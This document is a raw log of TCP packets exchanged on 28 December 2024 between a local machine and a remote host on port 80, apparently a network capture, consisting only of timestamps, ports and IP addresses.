Dec 28, 2024 10:03:39.694379091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.694417953 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.694432020 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.694452047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.695209026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.695242882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.695260048 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.695303917 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.695347071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696026087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696079969 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.696110964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696126938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696171999 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.696197987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696852922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696919918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696935892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696971893 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.696985006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.696995020 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.697731972 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.697802067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.697818995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.697850943 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.697851896 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.697875977 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.698566914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.698635101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.698656082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.698688984 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.698713064 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.698724985 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.699445963 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.699491978 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.699506044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.699522972 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.699558020 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.699624062 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.700330019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.700372934 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.700376987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.700396061 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.700459003 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.700469971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.701224089 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.701283932 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.701294899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.701312065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.701348066 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.701375008 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.702024937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.702061892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.702078104 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.702110052 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.702135086 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.702169895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.702893019 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.702940941 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.702945948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.702961922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.702996969 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.703041077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.703758955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.703838110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.703852892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.703886986 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.703907967 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.703958035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.704647064 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.704663038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.704679012 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.704699039 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.704725027 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.704741001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.705573082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.705656052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.705672026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.705698013 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.705720901 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.705790043 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.706326962 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.706374884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.706384897 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.706401110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.706437111 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.706470013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.707197905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.707222939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.707245111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.707272053 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.707295895 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.707326889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.708043098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.708100080 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.708103895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.708120108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.708154917 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.708194017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.709022045 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.709069967 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.709093094 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.709108114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.709151983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.709223986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.709825039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.709868908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.709884882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.709919930 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.709942102 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.710000992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.710644960 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.710694075 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.710705042 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.710721016 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.710758924 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.710791111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.711500883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.711545944 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.711561918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.711592913 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.711618900 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.711647987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.712333918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.712382078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.712387085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.712403059 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.712436914 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.712462902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.713162899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.713583946 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.858043909 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.858108997 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.858125925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.858181953 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.858206034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.858383894 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.858428001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.858444929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.858448029 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.858498096 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.884424925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.884443998 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.884463072 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.884504080 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.884526968 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.884532928 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.884778023 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.884804010 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.884820938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.884834051 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.884870052 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.885337114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.885380983 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.885396957 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.885437012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.885477066 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.885514975 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.886195898 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.886253119 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.886270046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.886310101 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.886333942 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.886791945 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.887063026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.887125969 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.887145996 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.887209892 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.887211084 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.887918949 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.887972116 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.887973070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.887990952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.888015032 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.888062954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.888776064 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.888801098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.888816118 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.888830900 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.888860941 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.888920069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.888963938 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.889627934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.889672995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.889692068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.889730930 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.889785051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.890559912 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.890577078 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.890593052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.890614986 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.890644073 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.890647888 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.890691042 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.891345978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.891371965 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.891387939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.891418934 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.891479969 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.892288923 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.892303944 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.892319918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.892343998 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.892364979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.892379045 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.892406940 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.893065929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.893109083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.893125057 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.893156052 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.893193960 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.893578053 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.893925905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.893974066 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.893990040 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.894033909 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.894048929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.894776106 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.894807100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.894820929 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.894824028 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.894860983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.894948006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.894992113 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.895627975 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.895705938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.895720959 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.895756006 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.895762920 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.895809889 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.896500111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.896557093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.896572113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.896634102 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.896647930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.897363901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.897417068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.897432089 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.897456884 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.897475004 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.897553921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.898221016 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.898258924 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.898262024 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.898277044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.898302078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.898351908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.899086952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.899111986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.899128914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.899132967 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.899162054 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.899235010 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.899944067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.899983883 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.899993896 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.900010109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.900052071 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.900083065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.900281906 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.900779963 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.900839090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.900856018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.900926113 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.900933981 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.901022911 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.901649952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.901676893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.901693106 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.901720047 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.901772022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.901815891 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.902507067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.902551889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.902565956 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.902600050 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.902666092 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.902713060 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.903417110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.903470039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.903487921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.903527975 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.903527975 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.904232025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.904279947 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.904282093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.904306889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.904324055 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.904382944 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.904453993 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:39.905059099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:39.950170994 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.050170898 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.050204992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.050223112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.050261021 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.050420046 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.050421000 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.050657034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.050781965 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.050798893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.050940990 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.076546907 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.076572895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.076589108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.076617002 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.076630116 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.076659918 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.076936007 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.077011108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.077025890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.077055931 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.077092886 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.077496052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.077547073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.077563047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.077617884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.077682018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.077733040 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.078363895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.078411102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.078427076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.078464985 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.078527927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.079201937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.079252005 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.079256058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.079272032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.079318047 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.079341888 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.079380989 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.080071926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.080131054 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.080147982 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.080180883 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.080243111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.080634117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.080929041 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.080954075 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.080981016 CET	80	49766	185.215.113.16	192.168.2.6
